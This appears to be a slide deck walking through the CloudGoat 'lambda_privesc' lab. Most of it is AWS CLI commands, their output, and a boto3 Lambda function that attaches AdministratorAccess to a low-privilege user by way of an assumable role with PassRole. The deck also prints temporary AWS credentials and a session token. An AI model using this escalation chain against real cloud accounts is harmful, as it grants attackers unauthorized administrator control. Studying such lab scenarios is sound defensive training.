

2023.8.24

Digital Forensics

TEAM

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SPEAKER

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Cloudgoat

Lambda privesc

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I Scenario - Summary

Starting as the IAM user Chris, the attacker discovers that they can assume a role that has full Lambda access and pass role permissions. The attacker can then perform privilege escalation to obtain full admin access.

I Scenario - Goals

Perform privilege escalation to obtain full admin access.

= Attach **AdministratorAccess** policy




Fig 1. Scenario

II Exploitation

Check attached user policies.

```
d7mekz@d7buntu:~/Desktop/cloudgoat$ aws iam list-attached-user-policies --user-name chris-lambda
_privesc_cgjdk69ezo98nb --profile chris
{
  "AttachedPolicies": [
    {
      "PolicyName": "cg-chris-policy-lambda_privesc_cgjdk69ezo98nb",
      "PolicyArn": "arn:aws:iam::071745459242:policy/cg-chris-policy-lambda_privesc_cgjdk6
9ezo98nb"
    }
  ]
}
```

Fig 2. User attached policy list

II Exploitation

Check the roles Chris can access

- **lambdaManager**
 - Chris – sts:AssumeRole
 - iam:passRole

```
{
  "PolicyVersion": {
    "Document": {
      "Statement": [
        {
          "Action": [
            "lambda:*",
            "iam:PassRole"
          ],
          "Effect": "Allow",
          "Resource": "*",
          "Sid": "lambdaManager"
        }
      ],
      "Version": "2012-10-17"
    },
    "VersionId": "v1",
    "IsDefaultVersion": true,
    "CreateDate": "2023-08-16T04:14:18+00:00"
  }
}
```

Fig 3. lambdaManager-
iam:passRole

```
"Path": "/",
"RoleName": "cg-lambdaManager-role-lambda_privesc_cgdk69ezo98nb",
"RoleId": "AROARBNC42QVDLBIHJ6NK",
"Arn": "arn:aws:iam::071745459242:role/cg-lambdaManager-role-lambda_privesc_cgdk69ezo98nb",
"CreateDate": "2023-08-16T04:14:28+00:00",
"AssumeRolePolicyDocument": {
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "",
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::071745459242:user/chris-lambda_privesc_cgdk69ezo98nb"
      },
      "Action": "sts:AssumeRole"
    }
  ]
},
"MaxSessionDuration": 3600
```

Fig 4. The roles Chris can access

II Exploitation

Check attached role & policies

- Debug role's policy -> Administrator

```
d7mekz@d7buntu:~$ aws iam list-attached-role-policies --role-name cg-debug-role-lambda_privesc_cgldk69ezo98nb --profile chris
{
  "AttachedPolicies": [
    {
      "PolicyName": "AdministratorAccess",
      "PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
    }
  ]
}
d7mekz@d7buntu:~$ aws iam list-attached-role-policies --role-name cg-lambdaManager-role-lambda_privesc_cgldk69ezo98nb --profile chris
{
  "AttachedPolicies": [
    {
      "PolicyName": "cg-lambdaManager-policy-lambda_privesc_cgldk69ezo98nb",
      "PolicyArn": "arn:aws:iam::071745459242:policy/cg-lambdaManager-policy-lambda_privesc_cgldk69ezo98nb"
    }
  ]
}
```

Fig 5. User attached role & policy information

II Exploitation

Assume a role

- Create access token and create a profile with that token

```
d7mekz@d7buntu:~$ aws sts assume-role --role-arn arn:aws:iam::071745459242:role/cg-lambdaManager-role-lambda_privesc_
gidk69ezo98nb --role-session-name lambdaManager --profile chris
{
  "Credentials": {
    "AccessKeyId": "ASIARBNC42QVOJTFRKI",
    "SecretAccessKey": "SwjZRx6Mugc8eyFuoTX1+jxZrCJ2VTMxkygZddKY",
    "SessionToken": "FwoGZXIvYXdzEML////////wEaD02qIcJV0IGHBwKTeCKxAb2zxgtou++W9SrD4gUsHZUi0WAAKguMJQwFyzKgVvTb
Bi0P7FmLPVjffJLjuCtZoCJ2Mga3smzp599MY0ivoZbts7FrtjqXsAIznnILacvwycBd+tZ8mH8686XCAo4SDgg5932bQ9aTRyyxwPCID/i7c570l9qJ1
4n8pyYw9vZqVE0fe+Cq1jSbAW11wf/ANX0Ste/u5AC5310MYjw2ZXEsbmo59B5+bA22Ujz0MqeSj00fWmBjItFb/JKtgfaI/Q21NCL0CyhfJJSWjbdd4o1
IHMZ8b0phfisIEI7Tzr0x6qPs/6",
    "Expiration": "2023-08-17T01:25:24+00:00"
  },
  "AssumedRoleUser": {
    "AssumedRoleId": "AROARBNC42QVDLBIHJ6NK:lambdaManager",
    "Arn": "arn:aws:sts::071745459242:assumed-role/cg-lambdaManager-role-lambda_privesc_cgdk69ezo98nb/lambdaMana
er"
  }
}
```

Fig 6. Assume role "lambdaManager"

```
d7mekz@d7buntu:~$ aws configure --profile lambdaManager
AWS Access Key ID [None]: SIARBNC42QVOJTFRKI
AWS Secret Access Key [None]: SwjZRx6Mugc8eyFuoTX1+jxZrCJ2VTMxkygZddKY
Default region name [None]:
Default output format [None]:
```

Fig 7. Make profile "lambdaManager"

II Exploitation

Make Lambda function and execute with a new profile

- Connect Chris IAM to AdministratorAccess policy

```
from boto3 import *
def lambda_handler(evt, cont):
    cli = client('iam')
    resp = cli.attach_user_policy(
        UserName='chris-lambda_privesc_cgjdk69ezo98nb',
        PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
    )
    return resp
```

Fig 8. Lambda function

```
d7mekz@d7buntu:~/Desktop/niko$ aws lambda invoke --function-name admin_function out.txt --profile lambdaManager
{
  "StatusCode": 200,
  "ExecutedVersion": "$LATEST"
}
```

Fig 9. Execute function

II Exploitation

Result

```
d7mekz@d7buntu:~/Desktop/niko$ aws iam list-attached-user-policies --user-name chris-lambda_privesc_cgjdk69ezo98nb --profile chris
{
  "AttachedPolicies": [
    {
      "PolicyName": "cg-chris-policy-lambda_privesc_cgjdk69ezo98nb",
      "PolicyArn": "arn:aws:iam::071745459242:policy/cg-chris-policy-lambda_privesc_cgjdk69ezo98nb"
    },
    {
      "PolicyName": "AdministratorAccess",
      "PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
    }
  ]
}
```

Fig 10. Result of attack

II Exploitation




Fig 11. Attack chain

III Conclusion

Misconfiguration Vulnerability

- When security settings or access controls are left in their default or weak state, it allows attackers to easily identify and exploit weaknesses.

Over the next year, cloud misconfiguration will




Fig 12. State of Cloud Security 2021

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Thank you